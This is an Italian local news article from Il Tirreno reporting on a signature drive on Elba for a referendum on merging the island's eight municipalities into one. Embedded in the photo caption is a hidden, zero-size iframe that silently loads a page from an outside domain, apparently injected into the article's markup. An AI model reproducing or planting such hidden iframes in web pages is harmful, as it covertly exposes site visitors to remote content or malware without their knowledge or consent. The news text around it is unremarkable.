Il Tirreno

Comune unico, un coro di sì

Antonella Danesi
Il banchetto per la raccolta delle firme davanti al Conad<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
Il banchetto per la raccolta delle firme davanti al Conad

Raccolte in due giorni 800 firme, raggiunta quota 1600

3 MINUTI DI LETTURA





PORTOFERRAIO. Sono quasi novecento le firme raccolte in due giorni dai promotori del Comitato per il Comune Unico all'Isola d'Elba. Inziata qualche settimana fa, la sottoscrizione si era fermata a 700 adesioni, raccolte nelle sedi degli otto comuni elbani. In due giorni si è verificata la svolta. I promotori, infatti, hanno deciso di andare tra la gente e mettere banchetti ai mercati settimanali dei paesi elbani e presso i supermercati. Una decisione che ha portato risultati superiori ad ogni aspettativa.  Sono state infatti 330 le firme raccolte al mercato del venerdì a Portoferraio e ben 550 quelle di ieri, ricevute dalle postazioni piazzate nei pressi dei supermercati Coop Tirreno e Conad di Portoferraio.  In tutto 880 firme che insieme alle altre 700 porta quasi a quota 1600 le adesioni che, come ci tiene a specificare il comitato non sono per decidere se avere o meno il Comune unico ma per aprire la strada al referedum, quindi alla consultazione dei cittadini elbani.  «I cittadini potranno esprimere all'interno delle urne elettorali il loro assenso o meno al Comune unico - affermano dal comitato - siamo convinti che ci sia la necessità di una semplificazione istituzioanle, ma sarà la consultazione a dare indicazioni in questo senso».  É eterogeneo il pubblico che si è fermato ai banchi dei promotori del comune unico.  Molte le persone provenienti dagli altri paesi elbani che alla fine hanno deciso di firmare, per dare almeno la possibilità a tutti di esprimersi sulla questione.  E tra questi numerosi quelli che ritengono utile la semplificazione istituzionale per iniziare a ridurre le spese della politica e per dare all'Elba la possiblità di parlare un'unica voce.  «Mettere insieme otto sindaci e otto amministrazioni è difficile - ha sottolineato uno dei firmatari - per fare le cose bisogna che sia uno a decidere, senza correre il rischio che ogni comune blocchi l'altro».  É la motivazione che ha mosso le associazioni di categoria a promuovere il comune unico all'Elba.  «La gente ha capito che, se otteremo le firme necessarie, il referendum consentirà di votare a favore o contro questa ipotesi - ha sottolineato Carlo Rizzoli, presente alla raccolta delle firme al mercato di venerdì scorso - e questo rappresenta un vantaggio per tutto il territorio».  Una rassicurazione deriva dal fatto che, come prevede la legge regionale, se dovesse passare l'ipotesi del Comune unico, resteranno gli otto municipi per i servizi alle persone. «Allo stesso tempo - specifica - verranno concentrate le spese, ottenendo risparmi con le economie di scala. E' stato anche compreso che, parlando con una sola voce, l'Elba potrà contare di più».  Il tentativo del comitato ora è di essere presente in tutti i paesi elbani e in ogni occasione pubblica, dai mercati settimanali ad eventi.  «I numeri di questi giorni - terminano dal comitato - dimostrano che se andiamo tra la gente, possiamo avere la possibilità di raggiungere l'obiettivo del referendum».

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Attenzione

Ritiro urgente nei supermercati Conad di albume d’uovo per rischio salmonella

di Redazione web